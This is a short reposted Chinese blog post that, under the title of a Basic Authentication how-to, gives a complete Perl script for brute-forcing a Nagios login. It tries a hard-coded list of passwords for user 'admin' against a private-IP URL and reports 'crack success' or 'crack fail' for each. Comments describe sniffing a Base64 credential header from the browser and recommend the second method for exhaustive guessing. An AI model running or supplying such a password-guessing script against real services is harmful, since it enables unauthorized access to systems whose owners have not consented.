Perl脚本Basic Authentication方法
- #!/usr/bin/perl
- use strict;
- use warnings;
- use HTTP::Request;
- use LWP::UserAgent;
- use Data::Dumper;
- use Getopt::Std;
- my %options = ();
- getopt("d:",\%options);
- my $debug = $options{d} || 0;
- my @password_array = qw(ken jack sunny ben kick);
- &main(@password_array);
- sub main {
- foreach my $password (@_) {
- my $status = &get_url($password);
- if ($status == 1) {
- last;
- }
- }
- }
- sub get_url {
- my $password = shift;
- my $ua;
- my $req;
- my $res;
- my $url = 'http://192.168.4.40:8010/nagios';
- $ua = LWP::UserAgent->new;
- $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3');
- $ua->timeout(5);
- $req = HTTP::Request->new( GET => $url );
- #方法1:使用Firefox登陆这个Url输入用户密码时抓包,将密文抓下来。贴在下面
- #$req->header("Authorization" => 'Basic bW9ua3R4cep1Y3dlYl9tb25pdG9y');
- #方法2:可以直接输入用户名和密码,适合进行穷举时使用
- $req->authorization_basic('admin', $password);
- $res = $ua->request($req);
- print "************************** content begin **************************\n" if $debug;
- print $res->content . "\n" if $debug;
- print "************************** content end **************************\n" if $debug;
- print '*************************** Dumper $res ***************************' . "\n" if $debug;
- print Dumper $res if $debug;
- print '*************************** Dumper $res ***************************' . "\n" if $debug;
- if ($res->is_success) {
- print "crack success,password: " . $password . "\n";
- return 1;
- } else {
- print "crack fail,password: " . $password . "\n";
- return 0;
- }
- }
转载于:https://blog.51cto.com/gzmaster/396643